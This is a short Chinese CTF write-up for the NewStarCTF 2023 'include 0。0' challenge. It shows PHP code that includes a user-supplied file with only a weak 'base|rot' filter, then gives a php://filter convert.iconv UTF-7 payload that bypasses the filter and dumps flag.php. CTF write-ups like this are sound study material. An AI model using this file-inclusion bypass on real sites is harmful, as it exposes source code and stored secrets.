[NewStarCTF 2023 公开赛道]include 0。0

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

我们发现代码过滤了base和rot,但没过滤convert.iconv,因此我们可硬将utf-8转为utf-7来输出flag.php的内容

1
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

image-20241023211056947